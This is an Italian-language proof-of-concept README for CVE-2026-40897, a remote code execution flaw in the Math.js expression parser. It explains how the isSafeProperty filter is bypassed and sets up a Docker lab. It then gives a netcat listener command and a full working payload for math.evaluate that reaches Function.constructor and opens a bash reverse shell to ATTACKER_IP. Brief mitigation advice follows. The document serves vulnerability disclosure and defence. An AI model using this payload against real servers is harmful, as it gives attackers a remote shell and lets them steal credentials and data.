CVE-2026-40897 Esecuzione di codice remoto nel parser di espressioni di Math.js

★ CVE-2026-40897 PoC di esecuzione di codice remoto in Math.js ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898

Panoramica

CVE-2026-40897 è una vulnerabilità di Sandbox Bypass che porta all'Esecuzione di Codice Remoto nel parser di espressioni di Math.js. Il filtro isSafeProperty controlla solo l'accesso alle proprietà dalle espressioni utente, non dai percorsi di codice interni. Divulgando l'array interno di ArrayNode tramite toJSON() e sovrascrivendo la sua .map, un attaccante può forzare il codice interno ad accedere a Function.constructor ed eseguire JavaScript arbitrario.

Versioni interessate

Impatto

• Esecuzione di codice JavaScript arbitrario (RCE)
• Accesso al file system dell'host
• Connessione reverse shell che porta al completo compromesso del server
• Esfiltrazione di credenziali backend e dati sensibili

Ambiente

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Dopo aver avviato l'ambiente vulnerabile, seguire i passaggi seguenti per riprodurre l'attacco.

Passaggio 1. Avviare un listener per la reverse shell

nc -lvnp 4444

Passaggio 2. Inviare il payload dannoso

Inviare la seguente espressione a math.evaluate (ad esempio, tramite l'input di calcolo dell'applicazione).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Passaggio 3. Confermare l'accesso alla shell sul lato dell'attaccante

Il server target si riconnette al listener dell'attaccante, fornendo una shell bash interattiva.

Mitigazione

• Aggiornare Math.js a una versione corretta
• Evitare di passare input utente non attendibili direttamente a math.evaluate()
• Limitare l'esposizione di funzioni/classi interne (reviver, FunctionAssignmentNode, ArrayNode) tramite il parser di espressioni

Analisi

• KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
• EN: